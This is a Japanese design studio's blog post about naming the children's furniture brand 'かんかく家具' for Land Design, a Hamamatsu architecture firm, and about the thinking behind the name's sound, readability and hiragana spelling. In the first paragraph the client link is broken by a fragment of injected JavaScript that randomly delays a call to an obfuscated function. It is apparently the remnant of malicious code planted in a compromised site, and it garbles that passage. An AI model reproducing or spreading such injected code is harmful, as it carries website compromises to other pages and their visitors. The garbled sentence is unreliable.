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商品ネーミング事例|「かんかく家具」ランドデザイン(浜松市)

商品ネーミング事例|「かんかく家具」ランドデザイン(浜松市)

浜松市中区幸で、主に浜松市近郊の保育園やこども園、福祉施設などの建物を設計されているandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and-kodomo.com/”>ランドデザインさんが手がける家具ブランドのネーミングを提案させていただきました。

ランドデザインさんでは、これまでに保育園やこども園などを建築設計する中で数多くの家具を手がけられてこられました。今後、それらの家具を一般販売できるよう、改良していくというお話しをうかがいました。

主に子どもたちが使う家具なので、デザイン性と安全性を両立するよう職人さんと試行錯誤しながら作られているそうです。

ホームページをリニューアルさせていただいたときに、さまざまなお話をうかがい、ランドデザインさんの「想い」を共有させていただいたので、今回ご提案させていただいたネーミングの「かんかく家具」も快く受け入れていただけました。

「かんかく家具」というネーミングや、今後展開していく商品名のネーミングは、言葉だけではなく聞いたときの響きや、口にするときの言いやすさ、文字にしたときの見やすさの総合的なバランスを考慮しています。

子ども向けの家具だからこそ、この3つの条件をまとまるよう、コピーライター時代の経験を活かし意識しました。

さらに「感覚」を「かんかく」とひらがな表記にしたり、商品名の「ゆらゆらスツール」もゆらゆらを擬態語にし、親しみやすく、身近な雰囲気を表現しました。

多くの体験から感性を育む子どもたち。身近にかんかく家具から得られる体験を通じて、さまざまな経験を重ねていってほしいですね。

 

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2021-06-13 | Posted in Blog, ブランディング・デザイン事例Comments Closed